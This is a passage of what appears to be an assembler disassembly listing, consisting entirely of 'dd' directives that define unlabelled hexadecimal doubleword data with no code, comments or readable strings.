3300EC12h, 87376824h, 3B0E6D5Ah, 0DB24BCEBh, 4AEF811Ch dd 1816E75h, 41000EF5h, 509074B9h, 0B8ED2715h, 7CE600D4h dd 0E269F68h, 57C50049h, 8E4F3452h, 0F700B238h, 3CDAEB1Dh dd 75FB2CB0h, 729F059h, 0AF145F45h, 90EED08Ah, 749264AEh dd 4D409A00h, 1E85518h, 0ECAF14CEh, 6700D42Bh, 83A862A0h dd 9607CEBh, 0D1900C31h, 33480FFCh, 0F6201FA5h, 1028FFD3h dd 18B04D30h, 901C7CDDh, 0D9F80CB0h, 0CF19560Dh, 4E8E8103h dd 0E084894Fh, 550CE9h, 72A0B743h, 2196F497h, 8D005877h dd 741AF1ECh, 48DC0734h, 10494C2h, 8787DD53h, 0E2FF514Ah dd 0F242439h, 95E4333Dh, 0C442FEEh, 0F08C6BCDh, 3F1C00D5h dd 0AA7977D9h, 0D602F8F6h, 1DAF4665h, 0D2F04844h, 9B8600E2h dd 0CA80C01Fh, 0A0901C27h, 0DB590201h, 230E28FEh, 1814470h dd 0F48B4069h, 0C4C52676h, 0A100CF7Ch, 0DA9AED80h, 30A5782h dd 4F426A3Ch, 0D0FF9133h, 0B4AB81B5h, 5752F400h, 310F609Bh dd 0D3140020h, 42BC079Dh, 60B09990h, 74ED9500h, 6B52FEB2h dd 6C8F4840h, 3A01097Eh, 8FF5496Ah, 0EF554030h, 0B40BF2h dd 8625E5DEh, 0DD201523h, 3C441E1Fh, 1907F507h, 0B939F800h dd 0CD52120Fh, 5B300310h, 0C0F42CD3h, 92D8AC18h, 32EA5A00h dd 0A5B3FE12h, 5B600004h, 8D6BE5ADh, 0CC032C97h, 4E0315BCh dd 0A095D067h, 6C4A00E8h, 14AA5217h, 477071CFh, 843D3F07h dd 89559FFFh, 75E2D007h, 6469E8D0h, 0CBA01CC4h, 0DD8C0011h dd 7A67BA74h, 0D5890B00h, 0C98F4B1Bh, 0CEBC091Dh, 51805590h dd 378D20FFh, 0EE165076h, 8400ACEBh, 0D2F65CF8h, 2A670210h dd 0CBA914D9h, 0A6CEFC82h, 51949E0h, 7D79DB75h, 4CD06E00h dd 0E6FC22AFh, 50DA768Ch, 0E81DC468h, 3F1E0018h, 82BE9A49h dd 0BF025337h, 7E0A33A2h, 0CFE0C332h, 0AB602F70h, 0EC5D06D4h dd 40122EB6h, 0F33CA67Eh, 0E01B2855h, 0D8004EF2h, 0CE082265h dd 0A488B8h, 0D2DAEF46h, 10685A7h, 9CE8E900h, 7CF5C039h dd 0A95C12ECh, 8F120AEFh, 1D5F0098h, 0F39BBD47h, 3E0FE776h dd 40094B5Ch, 0EC83CF32h, 0C0F172CDh, 88E9A41Ah, 7107199Ah dd 5A3C692Dh, 1C8EDDF0h, 0A3A81649h, 2AB54001h, 1DBAFF08h dd 575BC000h, 77424E6Dh, 853000EAh, 546EB0CEh, 9400B42Fh dd 1C537D15h, 7D8144A6h, 0F7E8002Dh, 0D236DC95h, 0A31CD18Ch dd 59002AF4h, 0AE168EBh, 6FCD06DFh, 10654AF6h, 8052F500h dd 0C4810B38h, 0AACC0755h, 81E7143Eh, 0E0A4E2F3h, 2718FAC0h dd 0B320960Ch, 8AB618CDh, 59F34074h, 0D1F00700h, 8E87FB4Ah dd 0DEFC00F9h, 79558BB8h, 0E30028BDh, 800D22F7h, 1344C088h dd 7D47EDh, 0E93AA553h, 28027924h, 64EAAA09h, 47596045h dd 0AF8600BCh, 0A3A0F9E0h, 5505D86Bh, 0A70512C1h, 0C836E8C1h dd 648AF080h, 3E967D70h dd 0C6146C76h, 7E8CDE79h, 0D81DED00h, 7A074CA8h, 4D9938E3h dd 7CD62800h, 51DA38E4h, 330E4A00h, 0F036A49Fh, 43EE0995h dd 27874DFCh, 480290B9h, 0BC07152Dh, 8E2521ABh, 4FF56DE0h dd 0C73E029Fh, 0F99278A5h, 0C0135860h, 0E87AE400h, 0C109B0DDh dd 1A1759Fh, 0EB8D7552h, 0C073A3D5h, 1010B88h, 0C502AF47h dd 0E7C8FE3Dh, 9C5C136Eh, 0CAE0012h, 4C390F28h, 80AE8839h dd 358BD7B7h, 57BE77h, 4EF9812Dh, 5067F478h, 0C754CB1Fh dd 0A8DB80FEh, 293B814h, 655F0EDDh, 278055FDh, 0E9EE1103h dd 5360F400h, 0AE4561F6h, 0A33600ACh, 7DD5220Fh, 0F900B777h dd 0D0C8CF44h, 2B3DBCh, 5DB8057h, 5B73ED39h, 89B0C300h dd 92E712E0h, 0DCA70414h, 911023F6h, 0EFB1AF40h, 0AEF090FFh dd 0F277FA9Eh, 86F9AA00h, 88760D77h, 0FFBC0016h, 89BD14BEh dd 98006F83h, 25203362h, 1670601Dh, 6E96E4Fh, 0E4B3D0F9h dd 3E55F600h, 98B57138h, 206D00FCh, 347DBC52h, 51002B90h dd 584D3EF9h, 3E6063Ah, 0DE750DA5h, 0BFA88BC3h, 3350A389h dd 0CD05229Ch, 9F09C87Bh, 0EC8B9840h, 5FD83Fh, 4032FB77h dd 8A4B4C29h, 66FAEB02h, 0C058CC4Dh, 3355346h, 0AAB31A7Ah dd 24909847h, 43F1D4B4h, 6491AB9Ch, 0CDD42480h, 61B70F00h dd 1A093DF5h, 6AB90003h, 4F6387BFh, 0A203F851h, 0E3F90AF4h dd 6D80888Fh, 0E1753C16h, 0CF8EBF00h, 0FE872B18h, 101F3B07h dd 4DD7C20Bh, 0E8261230h, 35EE475h, 2365F399h, 6090DE37h dd 110797C6h, 38E32962h, 0F75F4920h, 38827978h, 45836358h dd 0CA26C189h, 14B92DC0h, 0F300DF79h, 0CD7BA36Dh, 0F3D8DA5h dd 7AACD602h, 0D75A90A0h, 471D5F9Fh, 510079C0h, 40B7B2E2h dd 0D640292h, 0FC01E498h, 5719B080h, 801F0ACh, 0B63FBB1Eh dd 77D017D7h, 2ACC0F43h, 74608D12h, 231BA7FFh, 8527B03h dd 0DFB22ED3h, 64A0DE00h, 128A0233h, 8537FCD7h, 2D3F9E40h dd 6C14E57Eh, 7EE42FB9h, 0F5B8AE03h, 0F8FDFF69h, 19FA4796h dd 20D39A21h, 0C210A693h, 0AF0E5907h, 7B0021E9h, 40BC9A51h dd 58C51C01h, 0D0F51FF4h, 80E9B2ADh, 0C2374C9h, 1D886244h dd 0C0B9277Ch, 7EA2EC2Fh, 2E001352h, 9A07CB0Bh, 70BD98h dd 24A09665h, 0FD2F9022h, 2900764Bh, 0C90F4B79h, 1CFF011Fh dd 0BF133674h, 0EC9848A9h, 50ACBD2Fh, 17911F88h, 0FA5F002Bh dd 9A6F7831h, 0F4A8A06h, 50730Ah, 422194BEh, 43567684h dd 3E2D1BE4h, 7A35627h, 0D0785CC3h, 29F4C23Bh, 85E20838h dd 48857324h, 0CEF8ED84h, 0C4E9B800h, 0A9843627h, 1B7B9003h dd 6314A78h, 9D082C38h, 8403A0ECh, 0FFB8A9A6h, 303000F1h dd 9C5BB11Eh, 0E818FC76h, 1A18F403h, 14E03078h, 1F43F140h dd 183CC6F0h, 907D3ED8h, 811FF2F3h, 416656FAh, 494BE614h dd 949CD812h, 0A5D0EA54h, 0CFC09CBh, 301A894Bh, 9A51D148h dd 681885BFh, 9F70193Ah, 0D54B00E8h, 89803655h, 41C32D35h dd 0D0C70EF1h, 0A8F41D33h, 773D79B8h, 2780113h, 0D48A84A3h dd 6A80F039h, 3E1AE3E4h, 60C3E9h, 0A1A38460h, 873303D2h dd 0D32F0342h, 0B750F3E0h, 71EDC000h, 4127EEE4h, 5CFD01C8h dd 773A78B8h, 3BE0E2F8h, 2C008058h, 100E9FE1h, 0DCF92Fh dd 79EB4CDEh, 4D53C8F5h, 0C7ED2600h, 1F69FB06h, 0FCC300C1h dd 20FA3509h, 0F60F61A2h, 4321252Bh, 0F03C7FE0h, 0E8DF2h dd 781ECF0Fh, 9C93B4F3h, 140C18C3h, 5225F898h, 59AF8F1h dd 179E1E7Bh, 278C0030h, 4C749691h, 37BACE00h, 99B6AD89h dd 0AFC23F7Dh, 20E70301h, 0C423D479h, 5B0AFCF6h, 0A0430D39h dd 40FE4703h, 5485F85Ah, 7CE20118h, 0B9794C4Fh, 0FF1AD535h dd 8BB30EE0h, 388C4B00h, 4AF4559Bh, 0CD7206h, 0EB986783h dd 306E95FFh, 537B1401h, 3A6B4864h, 32CD41C2h, 0D8419F44h dd 35F2BE7Eh, 129CF170h, 40FE9E0Eh, 0A2B8E110h, 0A6E6FB8Ah dd 3E311C67h, 88897DB3h, 3D5630C8h, 5E00E9C4h, 15451B46h dd 8500196Eh, 3BE5A5A8h, 0EE20F6h, 0A3786116h, 0EB288EB9h dd 22557700h, 43355AFBh, 0B6943AFDh, 7EF89D38h, 0BC7A0028h dd 62CE1E3Ah, 0F001B60h, 9D9E996Dh, 157997h, 8BB087B8h dd 6808DA6Bh, 0A78A0200h, 7DBDEAACh, 0B1C20088h, 7C2B52B3h dd 1533804Eh, 0FACA6136h, 0F84B60D6h, 5C96E2B5h, 710046C3h dd 7706FF44h, 0A800D990h, 9789FDA7h, 1C104Eh, 0B635312Ah dd 45BDC6DAh, 0CF33B4B8h, 0E743B09Ah, 9C129BE0h, 26DA5C1Ch dd 7DDBFA03h, 7900CA0Ah, 661E0373h, 0C040D2F5h, 0DD63A088h dd 0B03F235Bh, 8B9B28FEh, 7D94491Eh, 0AB912443h, 0AD48001Fh dd 36389902h, 693EE726h, 5EEA80BFh, 9279B81Eh, 426301DEh dd 6A90A4Ah, 0E1E7E01Bh, 0C687E400h, 45CB9D51h, 2B800FCh dd 0EF37D3EDh, 270011E3h, 9D42670Fh, 0A01CB9h, 9863D77Dh dd 6D8C9F32h, 4210B260h, 54AA78h, 17AED926h, 0DF90695Ah dd 4787E500h, 56D0F551h, 24F038h, 59C5A84Dh, 0AB04E44Fh dd 40203607h, 54B089C9h, 0E97E7Ah, 15F0D36Ch, 384D2C71h dd 0FD008FFAh, 0B703BA13h, 0C04A4381h, 4B2B5978h, 110014B6h dd 8591A133h, 396A2269h, 0CEB101B7h, 0E4274229h, 9A0089E1h dd 1019E3E5h, 73588CCAh, 11E91837h, 0D972112Ch, 4706E072h dd 0B66D9929h, 46610041h, 0BA0E578Dh, 0DB1C91D0h, 608933BBh dd 0B8768045h, 16174C76h, 8E093Ah, 239C5855h, 0C900B19Fh dd 34AA15F5h, 1CE2112Eh, 0C6A346F2h, 9FC236Fh, 31212F63h dd 8FF9E8E1h, 0C45900CAh, 89085F33h, 81004650h, 2D3B7E23h dd 71B8F0DCh, 0AA741E41h, 0F0566FAEh, 712E0Fh, 96794494h dd 71D8EE8Eh, 34613AB6h, 202D8A18h, 79001072h, 0D43D0D9Fh dd 0BE75A7h, 4D409E6Ch, 0A2F161A1h, 82B9E806h, 0C8997123h dd 28C0C3C8h, 46A350F2h, 0A32022E2h, 859FC820h, 6E5003Ch dd 0A441ED35h, 6F014DA0h, 0FFB33A6Eh, 1887DC12h, 0B8A1ABD8h dd 1C399801h, 7D3AD18h, 0EECA4AD0h, 1A0B0D5h, 703A3115h dd 68A2300Eh, 0FD1FC71h, 0CEC850EEh, 3987C940h, 5101ABDBh dd 273A6160h, 0E7C0C7F3h, 389700CBh, 0BA226F02h, 3200F1FDh dd 6C90BF09h, 7E961A31h, 0BD770033h, 10B94608h, 0AA0E9329h dd 0C0869E6Bh, 0D6C9FD65h, 0CFF90059h, 24389270h, 0C300F10Fh dd 0EAAB45Dh, 0E092B36h, 4BE077CAh, 493D0243h, 0A1160918h dd 0B26811h, 30CA3305h, 29EDB3C2h, 0AD29700h, 0AC16095Bh dd 0FC030A52h, 10143235h, 0DE3884D6h, 0BF41A848h, 5A0132F0h dd 89111A9h, 514411h, 0F09B0D4Ah, 0BB3700C3h, 0C2482CF6h dd 7C00BFD2h, 0F4188DF5h, 0EA85CBh, 94B359ECh, 4391FF80h dd 0F21F6E07h, 46B7CAD3h, 41B5A9F0h, 756D0023h, 4F88F84Eh dd 980E30B2h, 0A8C671h, 5121374Ch, 0E3C53042h, 15A04EF8h dd 54000090h, 557A8A65h, 253B77h, 7C693490h, 5747E11Fh dd 0BB00FB79h, 4A60D62h, 0E293E220h, 0AC815011h, 19060A1Dh dd 34C5C0h, 89739832h, 0B303D81Ah, 0A5AD92FBh, 8301D92Dh dd 0F33C6D8h, 0C41BAC9Dh, 0F8A4D2C0h, 0FA00E25Fh, 9E9A252Dh dd 79D79346h, 18516073h, 0B30ACC76h, 39AF8200h, 0FBACAACh dd 33C8C796h, 101EC76Eh, 4E457A03h, 0B0171A1Fh, 0E21BF140h dd 17C61091h, 7B8CFCh, 50B10EC7h, 0D23C05EBh, 3D768035h dd 0FA269DBAh, 0C8B899h, 1CE5BE61h, 32B540ECh, 4D41C82Ch dd 0D1D9700h, 3D2B722h dd 13F58F68h, 4CF8EB8Ah, 18390885h, 8D2A807Ch, 3979F78Ch dd 5B7A00A4h, 0EED27B31h, 6F00B387h, 8F978A86h, 1DAA8EBAh dd 822A2ED3h, 4AD25B5h, 61454840h, 29F29200h, 952BCEBh dd 0BED03B4Ch, 0F7793DCh, 3D1FF494h, 0F7C03127h, 95E64020h dd 15005ABFh, 0B8256A76h, 486F82Dh, 6CF7F50Ch, 840C8078h dd 0AC54859Eh, 4F00EDFCh, 0B8050328h, 0DD72Eh, 133E5D02h dd 0E248B2E8h, 3EFB71Fh, 0B960CC40h, 7E2A74h, 0B012EECFh dd 0FC6D75B8h, 891D3D00h, 8AB5446Bh, 0EC69EC8Dh, 0FAE50329h dd 0ACBCC3D0h, 55B763B8h, 0FD3B0278h, 0A42F0083h, 979599F9h dd 0E76A00DDh, 2BBC6124h, 1D00D6C4h, 0C01B8DD2h, 2DE54DD9h dd 665C58A9h, 4E29A700h, 0ABADB1h, 91A045BCh, 0CA7A6B53h dd 2ADC4A00h, 0DD8E27D2h, 987E31h, 1FF82168h, 0B7AD931Eh dd 3CC4330Eh, 0A43EAC6Fh, 8DDC1E23h, 1821C07Ah, 497C6BD9h dd 996709Dh, 48191B9Ah, 0FE641880h, 9900C304h, 39A5E4CBh dd 1F36DAh, 86E38A5Bh, 557D9EF1h, 0CC742D00h, 5678AAA5h dd 0C45A0753h, 6E5E37A7h, 3369BA0Fh, 0C0171187h, 20B5038Dh dd 0CFB9F305h, 0E7C025B2h, 0CBE6CCh, 71345EADh, 8DBBAAD0h dd 657FED07h, 7210DE8Ch, 0FA73146h, 1B94B81h, 585C6DA3h dd 6400307Ch, 0DF3E5575h, 902BB4F2h, 353D00C0h, 67B9AC4Eh dd 1E00FD54h, 5FFA3AB6h, 464C0AAh, 9B2FE690h, 0F17E8041h dd 0B5003C0Bh, 3F502973h, 635FE0h, 31107801h, 0E91FA8CDh dd 0A20FF00h, 9E9F599Ah, 8FBC1EC8h, 757A00B9h, 0C23A03EBh dd 7B021F03h, 0CFBDDC2Ch, 8E316450h, 0B76000EFh, 8F9FF9CBh dd 0AB018794h, 0F3F87499h, 3E4A2C9h, 0AAD7003Dh, 2A2C9526h dd 8C00B886h, 90CF5580h, 16FC3418h, 96C5F9h, 0E459D1B0h dd 0CA00FE3Dh, 0A58F9911h, 732CD33h, 0ED5F548Eh, 0AD2CF09Fh dd 0C15C02CEh, 4763FA5h, 1483BD5Eh, 646889C0h, 0C72C05A0h dd 18D3AC3h, 4386EAB4h, 933DE4BCh, 0DA215900h, 11587133h dd 73E0267Fh, 0C6250034h, 5BD112D4h, 2A8B7204h, 0E48401A9h dd 3CB00C80h, 50F0607Ch, 50A1C593h, 655ECE00h, 0DBEB38DAh dd 8D0E137Dh, 57BC0132h, 706C6129h, 33009A04h, 92FC459Eh dd 59B9C1h, 2577BAB2h, 0C7A39F51h, 99668800h, 78F2275Ah dd 3AAF1FA8h, 0DCB9C250h, 0B763C122h, 484506C0h, 3E946100h dd 66CC95D4h, 4D5F001Ah, 1BF80715h, 5300E1F6h, 67636EF2h dd 76540AF9h, 0C22F003Bh, 29BD88B6h, 153FB00Eh, 519200CAh dd 8FE034ADh, 3B7207BBh, 23099868h, 0F8010603h, 9F7F8165h dd 60CE0F48h, 3EB0E764h, 0C780D55Bh, 0FF14B4B3h, 0A8019D8Fh dd 5440B75Dh, 5470B641h, 8E903BF8h, 1B750480h, 0D7672922h dd 60638126h, 0F2796402h, 999320ADh, 0C528121Bh, 5300B088h dd 98654A25h, 0F5B74Bh, 3B9E7455h, 3C771ABCh, 87B8F23Fh dd 81BD3645h, 0CC71EEC1h, 77A79520h, 187000E1h, 0DB45380h dd 0AF006747h, 8958DA5Eh, 0D240DEh, 9D78DBF7h, 9C28A65Ah dd 51026300h, 6BB3DC4Bh, 0E1CA0058h, 0B50780B8h, 7A176CE0h dd 9112h, 0C836E5C5h, 0A7171C32h, 0A39BC0E3h, 2CD9F467h dd 5D6C7001h, 569C20A1h, 26BB2270h, 8054D837h, 0F67E7823h dd 1109C942h, 20AFADD9h, 3E6EA930h, 9CA00071h, 0A80D505Ch dd 98000F6Ch, 0F8EB83DBh, 666BF0h, 1679EAB6h, 7F9FE0F4h dd 3F4FA300h, 542A31ADh, 8ACC0423h, 84C23915h, 28B40214h dd 0B9072BEFh, 169FBBC0h, 5D943E33h, 0EC517E00h, 6DA588B2h dd 0D94170EBh, 0AB1B8400h, 0A9399F78h, 7CDEF2BBh, 704B03CCh dd 0DFE13AFEh, 0B1A04800h, 0E0B2D230h, 0A9A70594h, 8063AFD3h dd 0D98CB2Ch, 91594C00h, 256D048Bh, 0E2240BBDh, 4B0F8A33h dd 0F464BB40h, 0A5006FF6h, 659E3C09h, 0DD8242h, 73727D5Ah dd 0C4FAD870h, 1C88520Ah, 0CA03DD9Ah, 0A87F6802h, 0F2B517E6h dd 0A446074Fh, 60102D71h, 54FF068Bh, 0E35C7902h, 0E03529D7h dd 2C4C0AB7h, 0FACDFh, 0C7517D0h, 920173B3h, 3DAFA302h dd 0E0C009EFh, 470B0F9Ah, 2720B17Ah, 97D4A8C1h, 0DB24630Fh dd 0B61B6089h, 94BBBh, 6BC4AD08h, 688146D4h, 29A2AC00h dd 0B3565066h, 0E9E600C8h, 554178E2h, 1D0F5DFEh, 9023AEh dd 54C732C6h, 53BF00D7h, 0F799B986h, 79009D18h, 42411C92h dd 5AB5F3h, 78855990h, 0A0674E86h, 572EAE00h, 0ADBDE201h dd 427B88h, 2B59A4CBh, 875AD9E5h, 9F006A7Ch, 4DB6EBB4h dd 0DB1972h, 3B1B65E9h, 4B28272Dh, 688E7300h, 0ACB49D30h dd 104031Fh, 55440E40h, 4FC26BA8h, 0F83DDC0Fh, 0C4341C5h dd 0F6E45BB7h, 0DCD002Eh, 0A5B25FB5h, 190E68B0h, 0A009CB39h dd 0F284DD03h, 0D89601E1h, 6CA6137Bh, 0D475D8ECh, 121EBA00h dd 94F710B5h, 70C10009h, 911B1636h, 0F2003DE1h, 5F5A4945h dd 2E9DB9F1h, 8BEB84h, 51C94B73h, 10C6E878h, 0D0B019h dd 7638E706h, 9ED331B6h, 89404100h, 18C794E3h, 17680027h dd 0A86BD506h, 853FBF5Ch, 0C5A492FDh, 7FD85907h, 0B2F6D161h dd 38C1C8h, 513704C2h, 15A6226Bh, 9E26D4B8h, 9F00F6FFh dd 0AE56F8D7h, 0D2E0A094h, 0DDE60F0Dh, 0C5EED551h, 77ABEC27h dd 0C645D0D9h, 0AD618D6Fh, 6DC13E3Ch, 570DA1BEh, 0E0404E77h dd 4F0FEB58h, 474AC9BAh, 0E09068B8h, 0FB927Dh, 0D381331Dh dd 0DAE50DD4h, 0B38B5700h, 0C9229BA1h, 0F6B40046h, 9ED75E1Dh dd 4F1D3ACAh, 0EF18431Fh, 18F6BC69h, 20E89BE7h, 69074EDAh dd 0FD6E2E0Eh, 2DC5FCE0h, 4C1A50C1h, 4E520055h, 996D8CB3h dd 7237BEDBh, 0EA10EE9Dh, 3C9CA33Ah, 1A0153F0h, 38D375C0h dd 424F04Bh, 6300F4E8h, 2BE4BA58h, 36D5C92h, 1657307Ah dd 1CC05DD3h, 0F800EE3Ch, 0C62FF598h, 5B4753Eh, 0E7D7B812h dd 0D4BF8025h, 5B002CFCh, 0C2B93B24h, 0C5A691h, 0DEA5D9C6h dd 8A64203Ch, 0D7F6EF7Eh, 3D000B90h, 0A3D8808Eh, 750CBC5Ah dd 0E2430026h, 4776095h, 1B0768BEh, 208A3AADh, 32563890h dd 7FD400B9h, 0DEF31FC1h, 3C02CF88h, 0EDD8B209h, 6888A033h dd 906C1CBDh, 6F250041h, 0E819F2F4h, 81E8DA0Fh, 28984D30h dd 50E2F15Eh, 0F3CEC46h, 0CA0396A1h, 0E9B8DAC0h, 99006735h dd 958196Ch, 0FBB540Ch, 0BC39B2E4h, 0DCE515A0h, 783036EAh dd 3C8060E6h, 0C1BF00A4h, 272C3E21h, 6A24A7F3h, 7780185Ch dd 0C80F3761h, 5BB0FA9Ch, 0C607A45Fh, 7F0F2473h, 807753E6h dd 0E8962EE4h, 5738DF28h, 5D6000EFh, 7C3D22C4h, 3B545C3Bh dd 0C9AE8020h, 53F11202h, 9FD90318h, 0E9D8EF0Dh, 79A358D3h dd 7246ACFh, 132B914h, 30CE3C48h, 0A200111Eh, 5DB665E6h dd 2322CFh, 0DD066F6Ch, 363CB934h, 74A74607h, 8F79AF8Fh dd 2CD180C7h, 0B8B1E5h, 2BE8431Bh, 49B2FD13h, 0AFCDE601h dd 58A6D450h, 0E712D5h, 2D920F29h, 61F99113h, 0D7C7F60Fh dd 3558E0DFh, 0F2672CDh, 0A205571Eh, 9F2E0BE0h, 77BACEAh dd 130DE93Ch, 0CD004AD8h, 0F5F80F38h, 0D0E50F99h, 0C2405D25h dd 0A5E6CEEAh, 6E763917h, 0F7C8C600h, 0B2FA2DDh, 1F507E03h dd 9DF22783h, 0C840F9D2h, 0E73882E4h, 0C892034Eh, 0CF71C6FFh dd 0D08AA800h, 0FEA60003h, 3C705931h, 2F00650Ch, 8D1F8169h dd 0E0CCADE3h, 9C300C6h, 0D156BAC8h, 3002390h, 247959ECh dd 0A7D95h, 2A41D066h, 0B06D494h, 18A9AD30h, 12F24BFh dd 61FFF177h, 0ECB2A138h dd 7600C09Eh, 13B0402h, 28EC4FEDh, 0C42DA7h, 5209E051h dd 33EE2285h, 1BF54503h, 0C7A4E7B0h, 2B8D5D30h, 0F46E00B8h dd 0B5930C7Dh, 4627B928h, 0ED324077h, 10D21F87h, 8BDD8241h dd 0D3E0133Dh, 0E1090BA9h, 0DF3BB7h, 0A82A5C0Eh, 0FBA00156h dd 5B4F7948h, 0C78DD037h, 26132800h, 8C800A04h, 1E0F629Eh dd 8BC0B119h, 6F008415h, 813F3A40h, 0DA7450h, 541C4D11h dd 96F7AA8Dh, 0CB7D4400h, 9A20F92Bh, 612009Fh, 0D696F42h dd 0F53096D0h, 5566F039h, 0FBFD0003h, 5C9D36C3h, 0B80ED13Ah dd 800B0A3Bh, 2515EEF6h, 0BFAE00A1h, 9CD3D2B3h, 34008C8Dh dd 13377C68h, 228E04Ch, 7A67C673h, 14435446h, 0E533F0AFh dd 552A05DEh, 0F501A89Ch, 0ED47D046h, 0AC5001F0h, 266E910h dd 0C147E0Dh, 5E41B242h, 6A95E8C4h, 0AB81F30Fh, 49602007h dd 0D0E313h, 0A70345A1h, 0B9F8BDEBh, 0FF038698h, 57C7264Eh dd 0E54AC0B7h, 3D6C0078h, 0C58F31D1h, 0AF00D2A8h, 2877E07h dd 0E73436h, 59BDBCE3h, 0B86E9C8Fh, 0C0475D18h, 78CA53Ah dd 13646C90h, 88EEC097h, 207862BCh, 0E700A9E0h, 648A0879h dd 0C49D69h, 4DA7B73h, 450133EFh, 0ADBC2F2Eh, 9E5D7D01h dd 0D8800D87h, 0ACC03CC9h, 28C0D40Bh, 50CD7F22h, 0A136006Dh dd 531B7751h, 3400F555h, 11D1FB3Ch, 0EE90992h, 677DCD69h dd 0C1BA29E4h, 0D8104718h, 0B4007389h, 56A16124h, 5C8A71h dd 9FD43705h, 9C7967Fh, 74F45700h, 52238EB7h, 0ED200EDh dd 0C853E735h, 40387E51h, 0B244002Ch, 4D3CE4A1h, 21D23A63h dd 84F2DA80h, 3A90BB5Dh, 0AFAC020Ch, 22427943h, 750FDB21h dd 2C3422h, 0B0726681h, 78A40307h, 0B8EB9F67h, 983EB000h dd 0FE5F008h, 0A7F700FDh, 6E69E613h, 5400AD9Ch, 23CF83C3h dd 947EAFEh, 0A4F81DC5h, 0E13CAC00h, 400E3718h, 0A0CEB236h dd 817E35BBh, 26CD0458h, 0C7459325h, 0A0A5901Dh, 8300F95Ch dd 76AC55AAh, 1F2EEB62h, 40604405h, 4D583ADEh, 2D038836h dd 0ECAEA7DBh, 1ADDC81Fh, 0C90C8h, 37752CB9h, 90A3EE6Bh dd 0F9D0D400h, 0E1C91CCEh, 7649024h, 0D7A44231h, 0FE1D20ECh dd 30008457h, 7EDA23CCh, 7BA49FAh, 0F082EDD3h, 0DCC01EB0h dd 0F76BAD78h, 1C00AEE8h, 3F59919Dh, 3ACC28h, 7EB246BBh dd 0C4035811h, 0C1B0DC00h, 0D6AB2D31h, 0CAE0759h, 80926B86h dd 0FD68A2D2h, 0F6015620h, 22DA007Dh, 61D59BCCh, 6892875Dh dd 0C0A7A400h, 764F7814h, 7955E6FEh, 0EAF42ECEh, 0C01C1D1Ch dd 98BE026Ch, 4802FF74h, 710593F9h, 95040D3h, 7A9B0225h dd 0AF84573h, 644FD848h, 0AED09Fh, 514FE11h, 25D6DCB3h dd 2888A00Eh, 1C409D58h, 8F012D32h, 33535CA2h, 4CE44500h dd 0DCCF91B3h, 880C2E78h, 596F935Bh, 4492000Ch, 0AB9C251Ah dd 60701510h, 69271E00h, 329F33Fh, 133A00A4h, 0B2628CCDh dd 540064A9h, 0F00D588Bh, 3E5365h, 0EA9B7C51h, 0C63756AFh dd 0A5B5A801h, 0AE09790Ch, 6090F052h, 26A6164Ch, 98F37h dd 0BFBE05D9h, 682CDB08h, 59017969h, 57D5DD54h, 98306831h dd 671A0029h, 8422668Ch, 0F05ECF2h, 6B4F652Eh, 88829800h dd 6AEA65Fh, 0E173EFA9h, 6DB01805h, 90F53407h, 4050256Ah dd 0B7E84h, 2EBC3067h, 1138B951h, 8F95300h, 0C8E66196h dd 5E4A004Ch, 0C9C46A16h, 0D9017EBFh, 50C65A15h, 0A06E5F91h dd 0F30006FDh, 0A65ED352h, 574EEAh, 0FC308F0h, 2719903Ch dd 0A038A30Fh, 0EDE3A023h, 1F4EB4BAh, 17D49C73h, 80404FDCh dd 0C3330CC0h, 0D2E2BA87h, 7E79F900h, 3132DA91h, 0DE983B6Fh dd 68B20A83h, 3EB8A87Dh, 8E00FD24h, 0BE0B944Dh, 0DA516Ch dd 0C50E54E3h, 14EAE095h, 94BD5804h, 5CC08521h, 39E87D7h dd 34595CEEh, 8109F47Fh, 8F8D314Fh, 79386114h, 0DA474154h dd 63D0EF47h, 0C3BDEDB6h, 0D91B3A21h, 0AFB13900h, 3F5CF16Ch dd 2E9A006Dh, 397DD12Ch, 7072E0E4h, 71E008E6h, 62347C00h dd 23F7DA9Eh, 42581E5Dh, 41305780h, 489C0FC0h, 0C048ACB5h dd 0FDE407BEh, 75C0BDB7h, 0EF30ECh, 0F28F725Eh, 8591F4E1h dd 4900F87Ah, 7B7DCC35h, 0EAB98876h, 8FE00029h, 0FFB2E69Eh dd 23001BBDh, 2A132E56h, 0EB89BBh, 0F6382937h, 8FBDDB9Fh dd 4409500h, 651826CFh, 23DD005Ch, 73E0CA33h, 74000302h dd 4AFDED61h, 786C4468h, 0B9C7007Bh, 0E130D092h, 91CD97Ch dd 50FCB35h, 4C325D2h, 0C5BF043Bh, 800BC01h, 0DD1F4D5Eh dd 0E89707E3h, 0F05D90DEh, 6755049Ch, 19610230h, 448D1A87h dd 6040B69Eh, 0D5BA31BBh, 83C86C48h, 1269E361h, 3C20402Ah dd 0B44258F9h, 0D1D3CB00h, 8A583B93h, 7C325901h, 0D55E7282h dd 14C7EF0h, 0C7B9BCC5h, 0E07A337Dh, 0E0F3EC8Ah, 9800E6EEh dd 0E1A394C3h, 0DFDBC63Bh, 8CD20060h, 21D76176h, 568B970Ah dd 0DA024067h, 0C0ADA387h, 0A18554h, 20D21B5Eh, 76E38A2Dh dd 0B4597B00h, 0E2063C02h, 0ECC30DE0h, 0F0B8FDD2h, 171F14E6h dd 0E3EEDB19h, 57447F00h, 75C7BDB6h, 117E33E7h, 0F8C68869h dd 9294E111h, 8CE60674h, 40F90E89h, 18D1D230h, 38A328ADh dd 0F39F8582h, 6F6800C1h, 4C48D606h, 0E6E2FC00h, 0C4F0397h dd 7D107CB4h, 0F64403FBh, 6345E13Fh, 0ACA0C2CAh, 0A2E476E0h dd 0E819B32Ah, 2366100h, 15575289h, 0A86D72A3h, 1867A4CCh dd 0C0B3A1BCh, 0AD307D81h, 0C2080F7h, 0E355020Dh, 0F2B78948h dd 9E69880h, 0E0E8471Bh, 4D4324AEh, 30159122h, 709051D9h dd 707F0700h, 0DDFC1C83h, 73CF00CAh, 0E52080Ah, 250E19C8h dd 8F21C920h, 85826FA8h, 931FFC86h, 77E8406h, 1B310048h dd 26335AF7h, 9900C6F4h, 4FE0A011h, 3D983B07h, 2B87550Eh dd 0C5E89131h, 58B011B5h, 489B25C4h, 0C4924185h, 589C4007h dd 600A3F46h, 80B387DBh, 0FA4474A8h, 0B25A12A2h, 0F1682019h dd 921E3587h, 2300C20Bh, 0A5EA2E4Ah, 0BAE200CDh, 379F620Fh dd 0E01FD98Ch, 7B03A6D7h, 0ACAEB352h, 0A2595890h, 84C3309Eh dd 3B0661A8h, 815CB748h, 0F49BD514h, 0E152E1EBh, 0D4157422h dd 9051B055h, 1D11F41Eh, 0F9C203AAh, 9CC1CBBh, 573BE320h dd 